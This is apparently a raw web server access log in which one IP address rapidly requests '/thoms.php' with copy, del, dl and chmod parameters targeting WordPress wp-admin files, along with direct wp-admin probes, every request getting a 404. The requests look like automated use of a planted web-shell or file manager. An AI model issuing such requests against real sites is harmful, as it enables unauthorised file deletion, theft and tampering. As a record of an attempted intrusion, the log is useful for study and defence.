45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-media.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-media.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /ba-guo.com.tw/wp-admin/css/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmenu-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmenu-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-media.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?del=user&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?dl=edit-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Finstall-helper.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Finstall-helper.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=upgrade.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=widgets-form.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?dl=plugin-editor.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?chmod=comment.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-form-comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?dl=font-library.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=font-library.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=link-manager.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?dl=link-manager.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-manager.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?chmod=ms-delete-site.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=plugins.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?del=comment.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=comment.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?del=edit-tag-form.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=export.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?del=options-media.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-media.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-edit.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-edit.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /ba-guo.com.tw/wp-admin/admin-header.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fplugins.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fplugins.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fuser-edit.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fuser-edit.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:49 -0400] "GET /thoms.php?chmod=theme-editor.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=load-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?chmod=themes.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=themes.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?chmod=upgrade.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fuser-new.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fuser-new.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /ba-guo.com.tw/wp-admin/link-add.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?dl=admin-post.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-post.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?dl=export.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=export.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?dl=index.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fabout.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fabout.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?del=post.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcss&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-form-advanced.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?del=import.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=import.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?del=media.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:50 -0400] "GET /thoms.php?dl=privacy.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=privacy.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=moderation.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?dl=link-add.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-add.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?del=widgets-form.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets-form.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=install-helper.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?chmod=link-manager.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?chmod=ms-upgrade-network.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?dl=options-permalink.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /ba-guo.com.tw/wp-admin/export.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?del=edit-form-comment.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /ba-guo.com.tw/wp-admin/options-head.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /ba-guo.com.tw/wp-admin/load-scripts.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?del=upload.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upload.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?del=async-upload.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=async-upload.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=link-add.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=menu.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /ba-guo.com.tw/wp-admin/admin-post.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /ba-guo.com.tw/wp-admin/freedoms.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fupdate.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fupdate.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?del=site-health-info.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=site-health-info.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?dl=export-personal-data.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?chmod=ms-themes.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-general.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?chmod=revision.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /ba-guo.com.tw/wp-admin/about.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?del=update.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=update.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /ba-guo.com.tw/wp-admin/edit-form-comment.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=admin-header.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
